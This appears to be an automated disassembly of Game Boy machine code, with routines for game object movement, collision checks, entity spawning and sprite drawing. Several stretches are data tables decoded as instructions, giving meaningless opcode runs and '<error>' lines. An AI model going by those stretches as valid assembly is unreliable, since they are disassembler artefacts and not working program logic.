ldh a, [$ff00 + $04]
ld l, d
nop
ldh a, [$ff00 + $0c]
ld l, b
jr nz, 0.l_7025
<error>
ld h, h
nop
ldh a, [$ff00 + $04]
ld h, [hl]
nop
ldh a, [$ff00 + $0c]
ld h, h
jr nz, 0.l_7041
<error>
ld l, h
nop
nop
inc b
ld l, [hl]
nop
nop
inc c
ld l, h
jr nz, 0.l_704d
<error>
ld [hl], b
nop
nop
inc b
ld [hl], d
nop
nop
inc c
ld [hl], b
jr nz, 0.l_7059
<error>
ld [hl], h
nop
nop
inc b
halt
nop
nop
inc c
ld [hl], h
jr nz, 0.l_7065
<error>
ld a, b
nop
nop
inc b
ld a, d
nop
nop
inc c
ld a, b
jr nz, 0.l_7061
rst 20
rr a
rr a
rr a
and $03
rl a
rl a
and $fc
ld e, a
rl a
and $f8
add a, e
ld e, a
ld d, b
ld hl, $7010
add hl, de
ld c, $03
call func_3d26
ld a, $03
call func_3dd0
ldh a, [$ff00 + $f1]
rl a
rl a
and $fc
ld e, a
rl a
and $f8
add a, e
ld e, a
ld d, b
ld hl, $7040
add hl, de
ld c, $03
call func_3d26
ld a, $03
call func_3dd0
ld hl, $c210
add hl, bc
ld a, [hl]
push af
push hl
sub a, $08
ld [hl], a
call func_3dba
call func_7196
pop hl
pop af
ld [hl], a
call func_3dba
ret
ret nc
pop de
call nc, func_dfd9
and $ee
rst 30
nop
add hl, bc
ld [de], a
ld a, [de]
ld hl, $2c27
cpl
jr nc, 0.l_7103
inc l
daa
ld hl, $121a
add hl, bc
nop
rst 30
xor $e6
rst 18
reti
call nc, func_d0d1
pop de
call nc, func_dfd9
and $ee
rst 30
jp c, .l_dddb
pop hl
and $eb
<error>
ld sp, hl
nop
rlc a
ld c, $15
ld a, [de]
rr a
inc hl
dec h
ld h, $25
inc hl
rr a
ld a, [de]
dec d
ld c, $07
nop
ld sp, hl
<error>
<error>
and $e1
<error>
<error>
jp c, .l_dddb
pop hl
and $eb
<error>
ld sp, hl
<error>
push hl
rst 20
jp [hl]
<error>
pop af
or $fb
nop
dec b
ld a, [bc]
rrc a
inc de
rl a
add hl, de
dec de
inc e
dec de
add hl, de
rl a
inc de
rrc a
ld a, [bc]
dec b
nop
ei
or $f1
<error>
jp [hl]
rst 20
push hl
<error>
push hl
rst 20
jp [hl]
<error>
pop af
or $fb
xor $ef
ldh a, [$ff00 + $f2]
<error>
or $fa
<error>
nop
inc bc
ld b, $0a
inc c
ld c, $10
ld de, $1112
stop
ld c, $0c
ld a, [bc]
ld b, $03
nop
<error>
ld a, [$f4f6]
<error>
ldh a, [$ff00 + $ef]
xor $ef
ldh a, [$ff00 + $f2]
<error>
or $fa
<error>
ldhl sp, d
ld sp, hl
ld a, [$fbfb]
<error>
<error>
rst 38
nop
ld bc, $0403
dec b
dec b
ld b, $07
ld [$0607], sp
dec b
dec b
inc b
inc bc
ld bc, $ff00
<error>
<error>
ei
ei
ld a, [$f8f9]
ld sp, hl
ld a, [$fbfb]
<error>
<error>
rst 38
ld c, [hl]
nop
ld c, [hl]
jr nz, 0.l_71db
nop
ld c, h
jr nz, 0.l_720f
nop
ld a, h
jr nz, 0.l_7191
inc hl
jp nc, .l_04fe
jr c, 0.l_71bb
ld a, [$d221]
and $1f
ld e, a
ld d, b
ld hl, $70ca
add hl, de
ldh a, [$ff00 + $ee]
add a, [hl]
ldh [$ff00 + $ee], a
ld hl, $70c2
add hl, de
ldh a, [$ff00 + $ec]
add a, [hl]
ldh [$ff00 + $ec], a
ld a, $02
call func_72ed
ld a, [$d223]
cp $03
jr c, 0.l_71e0
ld a, [$d221]
and $1f
ld e, a
ld d, b
ld hl, $70f2
add hl, de
ldh a, [$ff00 + $ee]
add a, [hl]
ldh [$ff00 + $ee], a
ld hl, $70ea
add hl, de
ldh a, [$ff00 + $ec]
add a, [hl]
ldh [$ff00 + $ec], a
ld a, $01
call func_72ed
ld a, [$d223]
cp $02
jr c, 0.l_7205
ld a, [$d221]
and $1f
ld e, a
ld d, b
ld hl, $711a
add hl, de
ldh a, [$ff00 + $ee]
add a, [hl]
ldh [$ff00 + $ee], a
ld hl, $7112
add hl, de
ldh a, [$ff00 + $ec]
add a, [hl]
ldh [$ff00 + $ec], a
ld a, $01
call func_72ed
ld a, [$d223]
cp $01
jr c, 0.l_7241
ld a, [$d221]
and $0f
cp $07
jr z, 0.l_721d
cp $08
jr z, 0.l_721d
cp $09
jr nz, 0.l_7223
ldh a, [$ff00 + $e7]
and $01
jr nz, 0.l_7241
ld a, [$d221]
and $1f
ld e, a
ld d, b
ld hl, $7142
add hl, de
ldh a, [$ff00 + $ee]
add a, [hl]
ldh [$ff00 + $ee], a
ld hl, $713a
add hl, de
ldh a, [$ff00 + $ec]
add a, [hl]
ldh [$ff00 + $ec], a
ld a, $00
call func_72ed
ld a, [$d223]
cp $04
jr c, 0.l_7266
ld a, [$d222]
and $1f
ld e, a
ld d, b
ld hl, $70ca
add hl, de
ldh a, [$ff00 + $ee]
add a, [hl]
ldh [$ff00 + $ee], a
ld hl, $70c2
add hl, de
ldh a, [$ff00 + $ec]
add a, [hl]
ldh [$ff00 + $ec], a
ld a, $02
call func_72ed
ld a, [$d223]
cp $03
jr c, 0.l_728b
ld a, [$d222]
and $1f
ld e, a
ld d, b
ld hl, $70f2
add hl, de
ldh a, [$ff00 + $ee]
add a, [hl]
ldh [$ff00 + $ee], a
ld hl, $70ea
add hl, de
ldh a, [$ff00 + $ec]
add a, [hl]
ldh [$ff00 + $ec], a
ld a, $01
call func_72ed
ld a, [$d223]
cp $02
jr c, 0.l_72b0
ld a, [$d222]
and $1f
ld e, a
ld d, b
ld hl, $711a
add hl, de
ldh a, [$ff00 + $ee]
add a, [hl]
ldh [$ff00 + $ee], a
ld hl, $7112
add hl, de
ldh a, [$ff00 + $ec]
add a, [hl]
ldh [$ff00 + $ec], a
ld a, $01
call func_72ed
ld a, [$d223]
cp $01
jr c, 0.l_72ec
ld a, [$d222]
and $0f
cp $07
jr z, 0.l_72c8
cp $08
jr z, 0.l_72c8
cp $09
jr nz, 0.l_72ce
ldh a, [$ff00 + $e7]
and $01
jr z, 0.l_72ec
ld a, [$d222]
and $1f
ld e, a
ld d, b
ld hl, $7142
add hl, de
ldh a, [$ff00 + $ee]
add a, [hl]
ldh [$ff00 + $ee], a
ld hl, $713a
add hl, de
ldh a, [$ff00 + $ec]
add a, [hl]
ldh [$ff00 + $ec], a
ld a, $00
call func_72ed
ret
ldh [$ff00 + $f1], a
ld de, $718a
call func_3c3b
ld a, $02
call func_3dd0
ld hl, $ff98
ldh a, [$ff00 + $ee]
sub a, [hl]
add a, $08
cp $10
jr nc, 0.l_733b
ld hl, $ff99
ldh a, [$ff00 + $ec]
sub a, [hl]
add a, $08
cp $10
jr nc, 0.l_733b
ld hl, $c146
ld a, [$dbc7]
or [hl]
jr nz, 0.l_733b
ld a, $08
ld [$db94], a
ld a, $20
call func_3c30
ldh a, [$ff00 + $d7]
ldh [$ff00 + $9b], a
ldh a, [$ff00 + $d8]
ldh [$ff00 + $9a], a
ld a, $10
ld [$c13e], a
ld a, $30
ld [$dbc7], a
ld a, $03
ldh [$ff00 + $f3], a
jp $3dba
ld e, b
nop
ld e, b
jr nz, 0.l_739d
nop
ld e, d
jr nz, 0.l_7357
ldh a, [$ff00 + $00]
nop
nop
nop
ei
dec b
ld de, $733e
call func_3c3b
call func_7b20
call func_7b42
call func_7b8c
call func_3b9e
call func_3bb4
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
and $01
call func_3b87
ld hl, $c2a0
add hl, bc
ld a, [hl]
and a
jr nz, 0.l_737a
call func_0891
jr nz, 0.l_73a0
call func_0891
call func_27ed
and $7f
add a, $30
ld [hl], a
call func_27ed
and $03
ld e, a
ld d, b
ld hl, $7346
add hl, de
ld a, [hl]
ld hl, $c240
add hl, bc
ld [hl], a
ld hl, $734a
add hl, de
ld a, [hl]
ld hl, $c250
add hl, bc
ld [hl], a
ret
ld e, h
nop
ld e, [hl]
nop
ld e, [hl]
jr nz, 0.l_7404
jr nz, 0.l_7408
ld h, b
ld e, h
ld h, b
ld e, h
ld b, b
ld e, [hl]
ld b, b
inc l
nop
ld l, $00
ld l, $20
inc l
jr nz, 0.l_73e8
ld h, b
inc l
ld h, b
inc l
ld b, b
ld l, $40
<error>
inc bc
nop
nop
nop
nop
inc bc
<error>
ld de, $73a1
ld a, [$db95]
cp $01
jr nz, 0.l_73d6
ld de, $73b1
call func_3c3b
call func_7b20
call func_7b42
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
rr a
and $03
call func_3b87
call func_7c0e
ld hl, $c380
add hl, bc
ld [hl], e
ld hl, $c340
add hl, bc
res 7, [hl]
ld a, [$c15b]
and a
jr z, 0.l_7407
ldh a, [$ff00 + $9e]
xor $01
cp e
jr nz, 0.l_7407
set 7, [hl]
call func_3bd5
jr nc, 0.l_7446
call func_094a
ld hl, $c340
add hl, bc
ld a, [hl]
and $80
ret z
ld hl, $c380
add hl, bc
ld e, [hl]
ld d, b
ld hl, $73c1
add hl, de
ld a, [hl]
ld hl, $c240
add hl, bc
ld [hl], a
ld hl, $73c5
add hl, de
ld a, [hl]
ld hl, $c250
add hl, bc
ld [hl], a
ld a, $3e
ldh [$ff00 + $f2], a
call func_7b8c
ld hl, $c410
add hl, bc
ld [hl], $03
call func_3b9e
ld hl, $c410
add hl, bc
ld [hl], b
ld a, [$c16a]
and a
jr nz, 0.l_7452
ld a, [$c15b]
and a
jr nz, 0.l_7455
call func_3beb
ret
jr nc, 0.l_7428
call func_7b20
ld hl, $c380
add hl, bc
ld e, [hl]
ld d, b
ld hl, $7456
add hl, de
ld a, [hl]
ld hl, $c250
add hl, bc
ld [hl], a
call func_7b8f
call func_3b9e
ldh a, [$ff00 + $af]
cp $9d
jr z, 0.l_748a
ld e, a
ld d, $01
call func_29db
and a
jr nz, 0.l_748a
call func_7c35
ld hl, $c280
add hl, bc
ld a, [hl]
ldh [$ff00 + $ea], a
ldh a, [$ff00 + $ee]
sub a, $08
ldh [$ff00 + $ce], a
swap a
and $0f
ld e, a
ldh a, [$ff00 + $ec]
add a, $04
sub a, $10
ldh [$ff00 + $cd], a
and $f0
or e
ld e, a
ld d, $00
ld hl, $d711
add hl, de
ld [hl], $9d
call func_2839
ld hl, $d601
ld a, [$d600]
ld e, a
add a, $0a
ld [$d600], a
ld d, $00
add hl, de
ldh a, [$ff00 + $cf]
ldi [hl], a
ldh a, [$ff00 + $d0]
ldi [hl], a
ld a, $81
ldi [hl], a
push hl
ld hl, $c380
add hl, bc
ld a, [hl]
pop hl
and a
jr nz, 0.l_74f5
ld a, $04
ldi [hl], a
ldh a, [$ff00 + $ea]
and a
ld a, $08
jr nz, 0.l_74da
ld a, $04
ldi [hl], a
ldh a, [$ff00 + $cf]
ldi [hl], a
ldh a, [$ff00 + $d0]
inc a
ldi [hl], a
ld a, $81
ldi [hl], a
ld a, $05
ldi [hl], a
ldh a, [$ff00 + $ea]
and a
ld a, $09
jr nz, 0.l_74f1
ld a, $05
ldi [hl], a
ld [hl], $00
ret
ldh a, [$ff00 + $ea]
and a
ld a, $0a
jr nz, 0.l_74fe
ld a, $04
ldi [hl], a
ld a, $04
ldi [hl], a
ldh a, [$ff00 + $cf]
ldi [hl], a
ldh a, [$ff00 + $d0]
inc a
ldi [hl], a
ld a, $81
ldi [hl], a
ldh a, [$ff00 + $ea]
and a
ld a, $0b
jr nz, 0.l_7515
ld a, $05
ldi [hl], a
ld a, $05
ldi [hl], a
ld [hl], $00
ret
ld hl, $c2d0
add hl, bc
ld a, [hl]
and a
jp nz, .l_758e
call func_7b20
call func_7bdf
add a, $20
cp $40
jr nc, 0.l_757d
call func_7bef
add a, $20
cp $40
jr nc, 0.l_757d
ld hl, $c3d0
add hl, bc
ld a, [hl]
inc a
ld [hl], a
and $3f
jr nz, 0.l_757d
ld a, $b2
ld e, $04
call func_3c13
jr c, 0.l_757d
ldh a, [$ff00 + $d7]
ld hl, $c200
add hl, de
ld [hl], a
ldh a, [$ff00 + $d8]
ld hl, $c210
add hl, de
ld [hl], a
ld hl, $c340
add hl, de
ld [hl], $12
ld hl, $c2d0
add hl, de
ld [hl], $01
ld hl, $c2e0
add hl, de
ld [hl], $18
ld hl, $c2f0
add hl, de
ld [hl], $20
push bc
push de
pop bc
ld a, $08
call func_3c25
pop bc
ret
ld [$00f8], sp
nop
nop
nop
ldhl sp, d
ld [$0070], sp
ld [hl], d
nop
ld [hl], d
jr nz, 0.l_75fd
jr nz, 0.l_75a0
add a, [hl]
ld [hl], l
call func_3c3b
call func_7b20
call func_7b42
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
and $01
call func_3b87
call func_7b8c
call func_088c
jr nz, 0.l_75af
call func_3b9e
call func_3bb4
call func_0891
jr nz, 0.l_75da
call func_27ed
and $1f
add a, $20
ld [hl], a
call func_27ed
and $03
ld e, a
ld d, b
ld hl, $757e
add hl, de
ld a, [hl]
ld hl, $c240
add hl, bc
ld [hl], a
ld hl, $7582
add hl, de
ld a, [hl]
ld hl, $c250
add hl, bc
ld [hl], a
ret
ld a, $00
ldhl sp, d
ld [$0000], sp
nop
nop
ld [$cdf8], sp
jr nz, 0.l_7663
ldh a, [$ff00 + $f0]
and a
jr nz, 0.l_75f0
call func_3bca
call func_7b8c
call func_3ba9
ld hl, $c2a0
add hl, bc
ld a, [hl]
and a
jr z, 0.l_7648
push hl
ldh a, [$ff00 + $ee]
ldh [$ff00 + $d7], a
ldh a, [$ff00 + $ef]
ldh [$ff00 + $d8], a
ld a, $05
call func_0953
pop hl
ld a, [hl]
cp $02
jp nz, $7c35
ld [hl], $00
ld hl, $c290
add hl, bc
ld [hl], a
ldh a, [$ff00 + $9e]
and $02
jr nz, 0.l_7625
ld hl, $c240
jr 0.l_7628
ld hl, $c250
add hl, bc
ld a, [hl]
cpl
inc a
ld [hl], a
call func_093b
ld a, $10
ld [$c13e], a
ldh a, [$ff00 + $9e]
ld e, a
ld d, b
ld hl, $75dd
add hl, de
ld a, [hl]
ldh [$ff00 + $9a], a
ld hl, $75e1
add hl, de
ld a, [hl]
ldh [$ff00 + $9b], a
ret
ldh a, [$ff00 + $ee]
add a, $04
ldh [$ff00 + $d7], a
ldh a, [$ff00 + $ef]
ldh [$ff00 + $d8], a
ld a, $06
call func_0953
ld [hl], $10
ret
nop
nop
ld [hl], h
nop
nop
ld [$2074], sp
nop
nop
rst 38
nop
ldh a, [$ff00 + $08]
ld a, d
nop
nop
nop
halt
nop
nop
ld [$0078], sp
ldh a, [$ff00 + $00]
ld a, d
jr nz, 0.l_7677
nop
ld a, b
jr nz, 0.l_767b
ld [$2076], sp
nop
nop
ld [hl], h
ld b, b
nop
ld [$6074], sp
nop
nop
rst 38
nop
ld hl, $c2b0
add hl, bc
ld a, [hl]
and a
jp nz, .l_7834
ld hl, $765a
ldh a, [$ff00 + $f1]
rl a
rl a
and $fc
ld e, a
rl a
add a, e
ld e, a
ld d, b
add hl, de
ld c, $03
call func_3d26
call func_3d19
ldh a, [$ff00 + $f0]
cp $02
jr nc, 0.l_76fe
ld a, [$c157]
and a
jr z, 0.l_76fe
ld a, [$c178]
and a
jr z, 0.l_76fe
ldh a, [$ff00 + $ee]
add a, $08
ld hl, $c179
sub a, [hl]
add a, $10
cp $20
jr nc, 0.l_76fe
ldh a, [$ff00 + $ef]
add a, $08
ld hl, $c17a
sub a, [hl]
add a, $10
cp $20
jr nc, 0.l_76fe
ld hl, $c210
add hl, bc
ld a, [hl]
add a, $18
ld [hl], a
ld hl, $c310
add hl, bc
ld [hl], $18
call func_3b8d
ld [hl], $02
ld hl, $c320
add hl, bc
ld [hl], $15
ld hl, $c250
add hl, bc
ld [hl], $0c
ld hl, $c240
add hl, bc
ld [hl], $fa
ret
ldh a, [$ff00 + $f0]
rst 0
add hl, bc
ld [hl], a
add hl, de
ld [hl], a
and d
ld [hl], a
adc a, $77
ld hl, $c200
add hl, bc
ld a, [hl]
add a, $08
ld [hl], a
call func_0891
ld [hl], $80
jp $3b8d
call func_7b20
call func_0891
ret nz
ld [hl], $50
ld hl, $c3b0
add hl, bc
ld a, [hl]
inc a
cp $03
jr nz, 0.l_772d
xor a
ld [hl], a
ldh [$ff00 + $f1], a
cp $00
jr z, 0.l_77a1
call func_0891
ld [hl], $28
ld hl, $c3d0
add hl, bc
inc [hl]
ld a, [hl]
and $0f
jr nz, 0.l_7747
ld a, $02
jr 0.l_7749
ld a, $e0
call func_3c01
ret c
ldh a, [$ff00 + $d7]
ld hl, $c200
add hl, de
ld [hl], a
ldh a, [$ff00 + $d8]
ld hl, $c210
add hl, de
sub a, $0c
add a, $18
ld [hl], a
ld hl, $c310
add hl, de
ld [hl], $18
ld hl, $c2b0
add hl, de
inc [hl]
ld hl, $c320
add hl, de
ld [hl], $20
ldh a, [$ff00 + $f1]
cp $01
ld a, $f8
jr z, 0.l_777a
ld a, $08
ld hl, $c240
add hl, de
ld [hl], a
ld hl, $c250
add hl, de
ld [hl], $0c
ld hl, $c340
add hl, de
ld [hl], $12
ld hl, $c430
add hl, de
set 0, [hl]
ld a, $08
ldh [$ff00 + $f2], a
ld hl, $c2e0
add hl, de
ld [hl], $60
ld hl, $c440
add hl, de
ld [hl], $01
ret
ld a, $03
call func_3b87
call func_7b8c
call func_7bc5
ld hl, $c320
add hl, bc
dec [hl]
dec [hl]
ld hl, $c310
add hl, bc
ld a, [hl]
and $80
jr z, 0.l_77cd
ld [hl], b
ld hl, $c320
add hl, bc
ld [hl], $20
call func_3daf
call func_3b8d
ld a, $14
ldh [$ff00 + $f3], a
ret
ld a, $00
call func_3b87
call func_7b8c
call func_7bc5
ld hl, $c320
add hl, bc
dec [hl]
dec [hl]
ld hl, $c310
add hl, bc
ld a, [hl]
and $80
jr z, 0.l_780d
ld [hl], $01
call func_27ed
and $0f
add a, $08
ld hl, $c320
add hl, bc
ld [hl], a
ld a, $10
call func_3c30
ldh a, [$ff00 + $d7]
cpl
inc a
ld hl, $c250
add hl, bc
ld [hl], a
ldh a, [$ff00 + $d8]
cpl
inc a
ld hl, $c240
add hl, bc
ld [hl], a
ldh a, [$ff00 + $ee]
cp $a8
jp nc, $7c35
ldh a, [$ff00 + $ec]
cp $80
jp nc, $7c35
ldh a, [$ff00 + $e7]
and $0f
jr z, 0.l_77c9
ret
ld a, h
nop
ld a, [hl]
nop
ld a, [hl]
jr nz, 0.l_78a5
jr nz, 0.l_782b
inc c
stop
inc c
nop
<error>
ldh a, [$ff00 + $f4]
nop
inc c
ld de, $7822
call func_3c3b
call func_7b20
call func_7b42
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
rr a
and $01
call func_3b87
call func_3bb4
call func_7b8c
call func_7bc5
ld hl, $c320
add hl, bc
dec [hl]
dec [hl]
ld hl, $c310
add hl, bc
ld a, [hl]
and $80
jr z, 0.l_789b
ld [hl], b
call func_27ed
and $0f
add a, $10
ld hl, $c320
add hl, bc
ld [hl], a
call func_27ed
and $07
ld e, a
ld d, b
ld hl, $782c
add hl, de
ld a, [hl]
ld hl, $c240
add hl, bc
ld [hl], a
ld hl, $782a
add hl, de
ld a, [hl]
ld hl, $c250
add hl, bc
ld [hl], a
ld hl, $c3d0
add hl, bc
ld a, [hl]
inc [hl]
ld a, [hl]
cp $04
jp z, $7c35
ld a, $09
ldh [$ff00 + $f2], a
ret
ld d, b
nop
ld d, d
nop
ld d, h
nop
ld d, [hl]
nop
ld d, d
jr nz, 0.l_78f7
jr nz, 0.l_78ff
jr nz, 0.l_78ff
jr nz, 0.l_78ce
add a, b
jp .l_7e09
and a
jr nz, 0.l_78ba
ldh a, [$ff00 + $f1]
add a, $02
ldh [$ff00 + $f1], a
ld de, $789c
call func_3c3b
call func_7b20
call func_7bc5
ld hl, $c320
add hl, bc
dec [hl]
dec [hl]
ld hl, $c310
add hl, bc
ld a, [hl]
and $80
ldh [$ff00 + $e8], a
jr z, 0.l_78de
xor a
ld [hl], a
ld hl, $c320
add hl, bc
ld [hl], a
ldh a, [$ff00 + $f0]
rst 0
<error>
ld a, b
dec a
ld a, c
ld [bc], a
ld [$080c], sp
cp $f8
<error>
ldhl sp, d
call func_0891
jr nz, 0.l_7929
call func_27ed
and $07
ld e, a
ld d, b
ld hl, $78e5
add hl, de
ld a, [hl]
ld hl, $c240
add hl, bc
ld [hl], a
ld a, e
and $04
ld hl, $c380
add hl, bc
ld [hl], a
call func_27ed
and $07
ld e, a
ld hl, $78e5
add hl, de
ld a, [hl]
ld hl, $c250
add hl, bc
ld [hl], a
call func_0891
call func_27ed
and $1f
add a, $30
ld [hl], a
jp $3b8d
ld a, $01
call func_3b87
ldh a, [$ff00 + $e7]
and $1f
jr nz, 0.l_793c
ld hl, $c380
add hl, bc
ld a, [hl]
xor $04
ld [hl], a
ret
call func_7b8c
call func_3b9e
ldh a, [$ff00 + $e8]
and a
jr z, 0.l_795f
call func_0891
jr nz, 0.l_7954
ld [hl], $48
call func_3b8d
ld [hl], b
ret
ld hl, $c320
add hl, bc
ld [hl], $08
ld hl, $c310
add hl, bc
inc [hl]
ld a, $00
call func_3b87
ret
nop
ld [$1810], sp
jr nz, 0.l_7993
jr nc, 0.l_79a5
ld hl, $c340
add hl, bc
ld a, [hl]
and $0f
sla a
sla a
ld e, a
ld a, [$c3c0]
add a, e
cp $60
jr c, 0.l_7983
sub a, $60
ld [$c3c0], a
ld a, [$c3c1]
add a, e
ld [$c3c1], a
cp $60
jr c, 0.l_79a4
ldh a, [$ff00 + $e7]
ld hl, $c123
add a, [hl]
and $07
ld e, a
ld d, $00
ld hl, $7965
add hl, de
ld a, [hl]
ld [$c3c0], a
ret
ldh a, [$ff00 + $ea]
cp $07
jr z, 0.l_79f4
ld hl, $c470
add hl, bc
ld a, [hl]
cp $02
jp z, .l_79f5
cp $03
jp z, .l_7a3e
ld hl, $c310
add hl, bc
ld a, [hl]
and a
jr z, 0.l_79f4
ldh a, [$ff00 + $f9]
and a
jr nz, 0.l_79f4
ld hl, $c340
add hl, bc
ld a, [hl]
and $10
jr z, 0.l_79f4
ldh a, [$ff00 + $e7]
xor c
and $01
jr nz, 0.l_79f4
ld a, [$c3c0]
ld l, a
ld h, $00
ld de, $c030
add hl, de
ldh a, [$ff00 + $ef]
add a, $0a
ldi [hl], a
ldh a, [$ff00 + $ee]
add a, $04
ldi [hl], a
ld a, $26
ldi [hl], a
ld [hl], b
ld a, $01
call func_7974
ret
ldh a, [$ff00 + $eb]
cp $02
jr nz, $57a06
ld hl, $ffec
dec [hl]
dec [hl]
call func_7a06
jp $3dba
ld a, [$c3c0]
ld l, a
ld h, $00
ld de, $c030
add hl, de
ld e, $00
ldh a, [$ff00 + $e7]
and $04
jr z, 0.l_7a1a
ld e, $10
ldh a, [$ff00 + $ec]
add a, $0b
ldi [hl], a
ldh a, [$ff00 + $ee]
ldi [hl], a
ld a, $1c
ldi [hl], a
ld a, e
ldi [hl], a
ldh a, [$ff00 + $ec]
add a, $0b
ldi [hl], a
ldh a, [$ff00 + $ee]
add a, $08
ldi [hl], a
ld a, $1c
ldi [hl], a
ld a, e
or $20
ldi [hl], a
ld a, $02
call func_7974
ret
push bc
ld hl, $c3d0
add hl, bc
ld e, [hl]
ld hl, $c240
add hl, bc
ld a, [hl]
ld hl, $c250
add hl, bc
ld c, b
or [hl]
jr z, 0.l_7a57
ld a, e
rl a
rl a
and $20
ld c, a
ld a, [$c3c0]
ld l, a
ld h, $00
ld de, $c030
add hl, de
ldh a, [$ff00 + $ec]
add a, $08
ldi [hl], a
ldh a, [$ff00 + $ee]
dec a
ldi [hl], a
ld a, $1a
ldi [hl], a
ld a, c
ldi [hl], a
ldh a, [$ff00 + $ec]
add a, $08
ldi [hl], a
ldh a, [$ff00 + $ee]
add a, $07
ldi [hl], a
ld a, $1a
ldi [hl], a
ld a, c
ld [hl], a
pop bc
ld a, $02
call func_7974
ret
call func_3bd5
jr nc, 0.l_7ab1
call func_094a
ld a, [$c1a6]
and a
jr z, 0.l_7aa4
ld e, a
ld d, b
ld hl, $c39f
add hl, de
ld a, [hl]
cp $03
jr nz, 0.l_7aa4
ld hl, $c28f
add hl, de
ld [hl], $00
ld a, [$c14a]
ld e, a
call func_0942
call func_1495
ld a, e
scf
ret
and a
ret
ld b, $04
ld [bc], a
nop
ld hl, $c380
add hl, bc
ld e, [hl]
ld d, b
ld hl, $7ab3
add hl, de
push hl
ld hl, $c3d0
add hl, bc
inc [hl]
ld a, [hl]
rr a
rr a
rr a
rr a
pop hl
and $01
or [hl]
jp $3b87
ld e, b
ldh a, [$ff00 + $99]
ld hl, $ffef
sub a, [hl]
add a, $14
cp $28
jr nc, 0.l_7b1e
ldh a, [$ff00 + $98]
ld hl, $ffee
sub a, [hl]
add a, $10
cp $20
jr nc, 0.l_7b1e
inc e
push de
call func_7c0e
ldh a, [$ff00 + $9e]
xor $01
cp e
pop de
jr nz, 0.l_7b1e
ld hl, $c1ad
ld [hl], $01
ld a, [$c19f]
ld hl, $c14f
or [hl]
ld hl, $c146
or [hl]
ld hl, $c134
or [hl]
jr nz, 0.l_7b1e
ld a, [$db9a]
cp $80
jr nz, 0.l_7b1e
ldh a, [$ff00 + $cc]
and $10
jr z, 0.l_7b1e
scf
ret
and a
ret
ldh a, [$ff00 + $ea]
cp $05
jr nz, 0.l_7b40
ld a, [$db95]
cp $07
jr z, 0.l_7b40
ld hl, $c1a8
ld a, [$c19f]
or [hl]
ld hl, $c14f
or [hl]
jr nz, 0.l_7b40
ld a, [$c124]
and a
jr z, 0.l_7b41
pop af
ret
ld hl, $c410
add hl, bc
ld a, [hl]
and a
jr z, 0.l_7b8b
dec a
ld [hl], a
call func_3eb8
ld hl, $c240
add hl, bc
ld a, [hl]
push af
ld hl, $c250
add hl, bc
ld a, [hl]
push af
ld hl, $c3f0
add hl, bc
ld a, [hl]
ld hl, $c240
add hl, bc
ld [hl], a
ld hl, $c400
add hl, bc
ld a, [hl]
ld hl, $c250
add hl, bc
ld [hl], a
call func_7b8c
ld hl, $c430
add hl, bc
ld a, [hl]
and $20
jr nz, 0.l_7b7e
call func_3b9e
ld hl, $c250
add hl, bc
pop af
ld [hl], a
ld hl, $c240
add hl, bc
pop af
ld [hl], a
pop af
ret
call func_7b99
push bc
ld a, c
add a, $10
ld c, a
call func_7b99
pop bc
ret
ld hl, $c240
add hl, bc
ld a, [hl]
and a
jr z, 0.l_7bc4
push af
swap a
and $f0
ld hl, $c260
add hl, bc
add a, [hl]
ld [hl], a
rl d
ld hl, $c200
add hl, bc
pop af
ld e, $00
bit 7, a
jr z, 0.l_7bbb
ld e, $f0
swap a
and $0f
or e
rr d
adc a, [hl]
ld [hl], a
ret
ld hl, $c320
add hl, bc
ld a, [hl]
and a
jr z, 0.l_7bc4
push af
swap a
and $f0
ld hl, $c330
add hl, bc
add a, [hl]
ld [hl], a
rl d
ld hl, $c310
jr 0.l_7bb1
ld e, $00
ldh a, [$ff00 + $98]
ld hl, $c200
add hl, bc
sub a, [hl]
bit 7, a
jr z, 0.l_7bed
inc e
ld d, a
ret
ld e, $02
ldh a, [$ff00 + $99]
ld hl, $c210
add hl, bc
sub a, [hl]
bit 7, a
jr nz, 0.l_7bfd
inc e
ld d, a
ret
ld e, $02
ldh a, [$ff00 + $99]
ld hl, $ffec
sub a, [hl]
bit 7, a
jr nz, 0.l_7c0c
inc e
ld d, a
ret
call func_7bdf
ld a, e
ldh [$ff00 + $d7], a
ld a, d
bit 7, a
jr z, 0.l_7c1b
cpl
inc a
push af
call func_7bef
ld a, e
ldh [$ff00 + $d8], a
ld a, d
bit 7, a
jr z, 0.l_7c29
cpl
inc a
pop de
cp d
jr nc, 0.l_7c31
ldh a, [$ff00 + $d7]
jr 0.l_7c33
ldh a, [$ff00 + $d8]
ld e, a
ret
ld hl, $c280
add hl, bc
ld [hl], b
ret
ld hl, $c2c0
add hl, bc
ld a, [hl]
rst 0
ld b, a
ld a, h
ld e, b
ld a, h
ld l, c
ld a, h
call func_0891
ld [hl], $a0
ld hl, $c420
add hl, bc
ld [hl], $ff
ld hl, $c2c0
add hl, bc
inc [hl]
ret
call func_0891
jr nz, 0.l_7c68
ld [hl], $c0
ld hl, $c420
add hl, bc
ld [hl], $ff
call func_7c52
ret
call func_0891
jr nz, 0.l_7c74
call func_08d7
jp .l_3f7a
call func_7c78
ret
and $07
jr nz, 0.l_7c99
call func_27ed
and $1f
sub a, $10
ld e, a
ld hl, $ffee
add a, [hl]
ld [hl], a
call func_27ed
and $1f
sub a, $14
ld e, a
ld hl, $ffec
add a, [hl]
ld [hl], a
call func_7c9a
ret
call func_7b26
ldh a, [$ff00 + $ee]
ldh [$ff00 + $d7], a
ldh a, [$ff00 + $ec]
ldh [$ff00 + $d8], a
ld a, $02
call func_0953
ld a, $13
ldh [$ff00 + $f4], a
ret
ld a, $36
call func_3c01
ldh a, [$ff00 + $d7]
ld hl, $c200
add hl, de
ld [hl], a
ldh a, [$ff00 + $d8]
ld hl, $c210
add hl, de
ld [hl], a
ldh a, [$ff00 + $f9]
and a
jr z, 0.l_7ccf
ld hl, $c250
add hl, bc
ld [hl], $f0
jr 0.l_7cdb
ld hl, $c320
add hl, de
ld [hl], $10
ld hl, $c310
add hl, de
ld [hl], $08
call func_7c35
ld hl, $fff4
ld [hl], $1a
ret
ld hl, $d800
ldh a, [$ff00 + $f6]
ld e, a
ld a, [$dba5]
ld d, a
ldh a, [$ff00 + $f7]
cp $1a
jr nc, 0.l_7cf9
cp $06
jr c, 0.l_7cf9
inc d
add hl, de
ld a, [hl]
or $20
ld [hl], a
ldh [$ff00 + $f8], a
ret
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
